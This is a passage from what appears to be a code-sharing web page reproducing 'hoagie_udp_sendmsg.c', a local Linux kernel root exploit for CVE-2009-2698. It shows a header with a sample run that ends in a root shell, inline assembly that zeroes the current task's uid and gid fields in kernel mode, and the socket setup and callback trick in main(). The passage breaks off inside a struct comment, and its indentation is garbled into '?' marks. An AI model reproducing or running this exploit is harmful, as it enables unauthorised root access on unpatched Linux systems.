日期:2014-05-16 浏览次数:20687 次
/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat /etc/debian_version
* 4.0
* $ uname -a
* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
* $ ./hoagie_udp_sendmsg
* hoagie_udp_sendmsg.c - linux root < 2.6.19 local
* -andi / void.at
*
* sh-3.1# id
* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
* sh-3.1#
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>
/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
? ?asm("push %eax\n"
? ? ? ?"movl $0xffffe000, %eax\n"
? ? ? ?"andl %esp, %eax\n"
? ? ? ?"movl (%eax), %eax\n"
? ? ? ?"movl $0x0, 0x150(%eax)\n"
? ? ? ?"movl $0x0, 0x154(%eax)\n"
? ? ? ?"movl $0x0, 0x158(%eax)\n"
? ? ? ?"movl $0x0, 0x15a(%eax)\n"
? ? ? ?"movl $0x0, 0x160(%eax)\n"
? ? ? ?"movl $0x0, 0x164(%eax)\n"
? ? ? ?"movl $0x0, 0x168(%eax)\n"
? ? ? ?"movl $0x0, 0x16a(%eax)\n"
? ? ? ?"pop ?%eax\n");
}
int main(int argc, char **argv) {
? ?int s;
? ?struct msghdr header;
? ?struct sockaddr_in sin;
? ?char *rtable = NULL;
? ?fprintf(stderr,
? ? ? ? ? ?"hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
? ? ? ? ? ? ? ? ? "-andi / void.at\n\n");
? ?s = socket(PF_INET, SOCK_DGRAM, 0);
? ?if (s == -1) {
? ? ? fprintf(stderr, "[*] can't create socket\n");
? ? ? exit(-1);
? ?}
? ?/**
? ? * initialize required variables
? ? */
? ?memset(&header, 0, sizeof(struct msghdr));
? ?memset(&sin, 0, sizeof(struct sockaddr_in));
? ?sin.sin_family = AF_INET;
? ?sin.sin_addr.s_addr = inet_addr("127.0.0.1");
? ?sin.sin_port = htons(22);
? ?header.msg_name = &sin;
? ?header.msg_namelen = sizeof(sin);
? ?/**
? ? * and this is the trick:
? ? * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
? ? * so we map our rtable buffer at offset 0 and set output callback function
? ? *
? ? * struct dst_entry
? ? * {
? ? * ? ? ? ? struct dst_entry ? ? ? ?*next;
? ? * ? ? ? ? atomic_t ? ? ? ? ? ? ? ?__refcnt; ? ? ? client references
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? __use;
? ? * ? ? ? ? struct dst_entry ? ? ? ?*child;
? ? * ? ? ? ? struct net_device ? ? ? *dev;
? ? * ? ? ? ? short ? ? ? ? ? ? ? ? ? error;
? ? * ? ? ? ? short ? ? ? ? ? ? ? ? ? obsolete;
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? flags;
? ? * #define DST_HOST ? ? ? ? ? ? ? ?1
? ? * #define DST_NOXFRM ? ? ? ? ? ? ?2